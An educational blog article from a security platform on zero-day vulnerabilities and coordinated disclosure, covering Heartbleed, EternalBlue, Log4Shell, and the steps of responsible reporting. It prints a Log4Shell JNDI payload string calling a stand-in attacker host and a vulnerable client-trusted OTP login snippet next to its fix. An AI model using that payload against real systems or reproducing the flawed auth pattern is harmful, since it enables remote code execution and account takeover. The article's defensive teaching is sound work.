HackerSavanna
HackerSavannaPowered by Cyber Guard Africa
What Are Zero-Day Disclosures and How Do They Work?
Security Insights
zero-dayvulnerability-disclosureresponsible-disclosureapplication-security

What Are Zero-Day Disclosures and How Do They Work?

A zero-day disclosure is a race against the clock to get an unpatched, unknown vulnerability fixed before attackers find it too. Here is exactly how responsible disclosure works, from Heartbleed to Log4Shell.

HackerSavanna Research Team
12 min read21 views

On December 9, 2021, a message logging library almost nobody outside of Java development had ever heard of, Log4j, turned into the biggest single scramble the security industry had seen in years. A single crafted string, sent through something as mundane as a chat message or a username field, could make a vulnerable server reach out to an attacker-controlled server and execute arbitrary code. It affected an enormous share of enterprise Java software, because Log4j sat quietly inside thousands of applications most teams did not even know depended on it. The vulnerability, tracked as CVE-2021-44228 and known as Log4Shell, is the modern reference point for what a zero-day actually is, and why the process around reporting one is such a different discipline from an ordinary bug report.

What a zero-day disclosure actually is

A zero-day vulnerability is a flaw the vendor does not yet know about, meaning there has been zero days for them to build and ship a fix. The term gets used loosely in headlines, but the precise distinction matters: a zero-day vulnerability is the unpatched flaw itself, a zero-day exploit is working code that takes advantage of it before a patch exists, and once a patch ships, the same flaw becomes an "n-day" the moment attackers start targeting organizations that have not applied it yet. Most real-world damage, including a large share of what gets attributed to zero-days in the press, actually happens in the n-day window, when a patch exists but adoption lags.

A zero-day disclosure is the process of privately reporting that unpatched flaw to the people who can fix it, before it becomes public, so a fix can ship before attackers find the same hole. It is fundamentally different from a routine bug bounty submission because the clock is not just about researcher payout speed, it is about protecting every user of the affected system for as long as the vulnerability remains unpatched and unknown to defenders.

Where responsible disclosure norms actually came from

The security community spent most of the late 1990s fighting over this exact question: should a researcher publish a vulnerability the moment they find it, forcing the vendor to fix it fast under public pressure, or hold it privately and risk the vendor sitting on it indefinitely? Full disclosure advocates pointed to vendors who genuinely did nothing until shamed publicly. Vendors pointed out that publishing before a patch exists just hands attackers a working blueprint while users have no way to protect themselves.

Coordinated disclosure emerged as the practical middle ground, formalized in large part through organizations like CERT/CC, and it is still the dominant model today: report privately, give the vendor a reasonable window to fix it, then disclose publicly, patch included. Google's Project Zero team pushed the industry toward a specific, well-known standard when it adopted a strict 90-day disclosure deadline in 2014, meaning a vendor gets 90 days from private notification before the finding goes public regardless of whether a patch exists, with limited exceptions for flaws already under active exploitation. That policy was controversial when it launched. It is now close to an industry norm, because it solved the actual problem: vendors who previously sat on reports for a year or more suddenly had a hard, public deadline.

Heartbleed, disclosed in 2014, is a case study in why the coordination window matters so much. It was a flaw in OpenSSL, the encryption library underpinning a huge share of the internet's HTTPS traffic, and it let an attacker read chunks of a server's memory, potentially including private keys and session data, without leaving a trace in most logging setups. The coordinated disclosure gave major operators lead time to patch before the technical details went fully public. EternalBlue is the opposite case, and it shows what happens when that coordination breaks down: developed as an offensive tool, it was leaked publicly by a group calling itself the Shadow Brokers in 2017, and within weeks the same exploit was powering the WannaCry ransomware outbreak across more than 150 countries, because there had been no coordinated window at all between the flaw becoming known and it being weaponized at scale.

How a responsible zero-day disclosure actually works

Discovery and verification. A researcher finds something that looks like it could be a genuine zero-day, meaning they have checked it against known CVEs and confirmed the vendor has not already patched it quietly. This step alone weeds out a large share of "zero-day" reports that turn out to be already-known issues.

Private vendor notification. The finding goes to the vendor through a private channel, ideally one with a documented safe harbor policy that protects the researcher from legal action for having tested in good faith, since accessing systems without explicit authorization carries real legal risk under laws like the US Computer Fraud and Abuse Act even when the researcher's intent is entirely defensive. A clear, published safe harbor commitment is what separates a program researchers will actually report zero-days to from one they will quietly avoid.

Timeline negotiation. Most programs default to something in the 90-day range, mirroring the Project Zero standard, but the timeline can and should compress sharply if there is evidence of active exploitation in the wild, since the calculus changes completely once real users are already at risk rather than theoretically at risk.

Patch development and coordinated release. The vendor builds and tests a fix, ideally validated by the original researcher before it ships, since a fix that changes the error message without closing the underlying flaw is a surprisingly common failure mode under deadline pressure.

Public disclosure and CVE assignment. Once the patch is live, the vulnerability typically gets a CVE identifier, a public writeup goes out describing the flaw and the fix, and the researcher gets credit, which for a lot of top researchers matters as much as the payout itself, because a public track record of serious findings is a career asset in this field.

Post-disclosure monitoring. The window right after public disclosure is often the most dangerous, because attackers now have enough detail to build their own exploit even without the original researcher's proof of concept, and defenders are racing to patch before that happens. Serious programs keep watching patch adoption and exploitation activity for weeks after disclosure, not just up to the moment the advisory goes out.

What zero-days look like, across every layer of the stack

Web applications and APIs. Log4Shell itself sits at this layer conceptually, even though the vulnerable component was a logging library rather than application code the developers wrote themselves. The flaw let a string like the one below trigger a remote lookup that could load and execute attacker-controlled code, simply by being logged:

plaintext53 Bytes
1${jndi:ldap://attacker.example.com/malicious-payload}

Any input field that eventually got logged, a username, a User-Agent header, a chat message, became a potential trigger, which is exactly why it spread so far so fast: the vulnerable pattern was buried inside a dependency, not something any individual application team had written or reviewed themselves. It is also why dependency scanning and a real intake path for third-party component vulnerabilities matter as much as testing your own code.

On a smaller but real scale, a 2FA and OTP bypass on Next.js server actions, disclosed responsibly on HackerSavanna's own platform, shows the same underlying lesson: an authentication flow that looks correct in the UI can have a server-side gap that never gets exercised until someone specifically goes looking for it. The general shape of that flaw class is worth understanding on its own, because it recurs constantly across unrelated codebases:

javascript740 Bytes
1// Vulnerable: the OTP is only checked on the client, and the server
2// action that completes login trusts a "verified" flag the client
3// itself controls, so an attacker can call it directly and skip
4// the OTP step entirely
5async function completeLogin(userId, otpVerifiedByClient) {
6  if (otpVerifiedByClient) {
7    return createSession(userId);
8  }
9}
10 
11// Fixed: the server independently verifies the OTP against what it
12// issued, the client's word is never trusted for an auth decision
13async function completeLogin(userId, otpCode) {
14  const expected = await getPendingOtp(userId);
15  if (!expected || expected.code !== otpCode || expected.expired) {
16    throw new Error('Invalid or expired code');
17  }
18  return createSession(userId);
19}

Cloud infrastructure. Exposed credentials are the cloud-native version of a zero-day in terms of blast radius, because a single leaked key can grant an attacker the same access the legitimate application has. A real, disclosed example: an exposed Firebase API key that allowed unauthenticated account creation and bypassed email verification, a High severity finding reported and fixed the same way this article describes, before it could be found and abused by someone with different intentions.

Mobile applications. Zero-days in mobile ecosystems are especially valuable to attackers because a single flaw in the underlying OS can compromise a device with no user interaction at all in the worst cases, which is why mobile zero-day exploit brokers pay disproportionately large sums compared to almost any other category, a signal of just how much leverage a single unpatched flaw carries at that layer.

Networks. EternalBlue remains the canonical example: a flaw in the SMB protocol implementation on Windows, developed as an offensive capability, leaked, and then weaponized within weeks into one of the most damaging ransomware outbreaks in history. It is the strongest argument that exists for why coordinated disclosure timelines and patch management discipline are not bureaucratic overhead, they are the actual mechanism that determines whether a flaw stays a private research finding or becomes a global incident.

Web3 and blockchain. Smart contract zero-days carry a uniquely brutal property: many contracts are immutable once deployed, so there may be no way to patch the flaw at all, only to pause the contract, migrate funds, or in the worst cases watch the exploit play out on a public ledger in real time with no way to stop it. This is why a growing number of protocols run pre-launch time-boxed audit contests specifically to catch these flaws before deployment, when a fix is still possible, rather than relying solely on post-launch bounty coverage.

Close-up of an electronic circuit board

IoT and embedded devices. Firmware zero-days are harder to patch at scale than almost any other category, because unlike a web server, a fix requires the device owner to actually apply an update, and a meaningful share of deployed IoT hardware never receives one. Mirai did not even need a true zero-day to become one of the most disruptive botnets on record. Default, unchanged credentials were enough, which says something important: not every catastrophic disclosure requires an exotic new technique, sometimes it just requires someone bothering to check whether anyone would notice.

Why safe harbor matters more here than almost anywhere else

Researchers hesitate to report zero-days privately for a reason that has nothing to do with technical skill: legal risk. Testing a live production system, even carefully and even with entirely good intentions, can technically violate computer misuse laws if the organization has not explicitly authorized it. A published, credible safe harbor policy, the kind that says clearly that good-faith security research within a defined scope will not be met with legal action, is what makes the difference between a researcher reporting privately through the proper channel and a researcher either staying quiet or, worse, going straight to public disclosure because the legal risk of engaging privately felt too high. HackerSavanna's platform builds a dedicated, safe harbor backed path specifically for zero-day and critical severity findings for exactly this reason, because the private channel only works if researchers actually trust it.

Why organizations need a real intake path before they need one

The organizations that handle a zero-day disclosure badly almost always share one root cause: they had no clear channel for it before the report arrived. A researcher who cannot find a security contact, or who finds one and gets silence for two weeks, faces a genuinely hard choice between staying quiet indefinitely and going public without a fix in place. Neither outcome serves anyone, including the researcher, who would generally rather get paid and credited through a proper channel than deal with the legal uncertainty of any alternative.

A published policy, a monitored intake channel, and a triage team that can move fast when the finding warrants it are not expensive to set up relative to the cost of the alternative: finding out about a critical, unpatched flaw in your own systems from a tweet, a journalist, or an incident response call at three in the morning, instead of from a private report you had thirty, sixty, or ninety days to act on.

What it takes to get this right

Speed matters more here than in almost any other part of a security program. A vendor that takes a week just to acknowledge receipt of a report has already burned a meaningful fraction of a reasonable disclosure window before anyone has even confirmed the bug is real. The organizations that handle zero-days well acknowledge fast, verify fast, communicate honestly with the researcher about realistic timelines instead of vague reassurance, and treat the researcher as a partner in protecting their own users rather than a threat to be managed. Get that relationship right, and the next critical flaw in your systems gets reported to you, quietly and fixably, instead of showing up somewhere you have no control over at all.

HackerSavanna built a dedicated, safe harbor backed path specifically for zero-day and critical severity findings, described in more detail on the platform page, because the private channel only works if researchers trust it enough to use it before going anywhere else. If your organization does not yet have a clear, monitored intake channel for exactly this kind of report, onboard your organization to put one in place before you need it. If you want guidance on getting the policy and triage process right first, contact the team.

A zero-day is not dangerous because it exists. Every piece of software has flaws nobody has found yet. It becomes dangerous the moment the wrong person finds it first, and the only real defense against that is making sure the right people, the ones who want to fix it rather than exploit it, have an obvious, trusted, fast place to bring it.

Share:

Related Posts